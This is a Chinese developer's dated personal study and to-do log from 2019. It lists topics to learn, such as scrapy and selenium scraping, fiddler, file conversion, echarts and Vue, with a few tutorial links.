居然还是在github上面找,哎,哪里找得到啊\n2019.06.03 - md说明文件的编写规范与格式\n2019.06.13 - pdf2html这个处理下 https://blog.csdn.net/silentacit/article/details/80309929\n2019.06.17 - 工作所需:scrapy基本原理、反爬知识(涉及js重定向,加密,投毒等)、爬虫selenium模块、后端aiohttp、flask、Django模块,前端js,Vue模块,简单的异步实现\n2019.07.03 - fiddler抓包工具到底怎么用啊啊啊啊啊啊啊啊啊 网易云爬虫 - https://www.jianshu.com/p/a45714d16294-\n2019.06.25 - 前端页面太牛逼了,各种游戏!!!!!可以看看最后一页 -- 可以,见识到了各种牛逼的操作,前端是一个无底洞,知识太多了\n2019.06.03 - redis集群,这个怎么玩啊 -- 集群这玩意暂时用不到啊\n2019.05.29 - 解析附件部分代码需要整理docx,excel -- 解析附件再见吧宝贝\n2019.06.03 - 附件转化,doc转docx,pdf转html,还有pdf的相关操作,这些我是不是写过啊,再整理一下吧\n2019.07.02 - IOCO爬虫流程图,可以用md文件写了放在首页啊,nice啊马飞\n2019.01.12 - 前段炸裂特效,,这个需要从长计议啊,怎么展示是个问题\n2019.06.18 - scrapy.extensions.logstats,scrapt的extension快怎么使用\n2019.06.25 - src=\"../js/echarts.min.js\",数据可视化的插件https://www.echartsjs.com/tutorial.html这个太牛逼了 axios.min.js 是Vue的插件,异步请求。化柱形图和折线图,暂时只���要这两个把。\n2019.06.26 - 插入视屏是个啥玩意: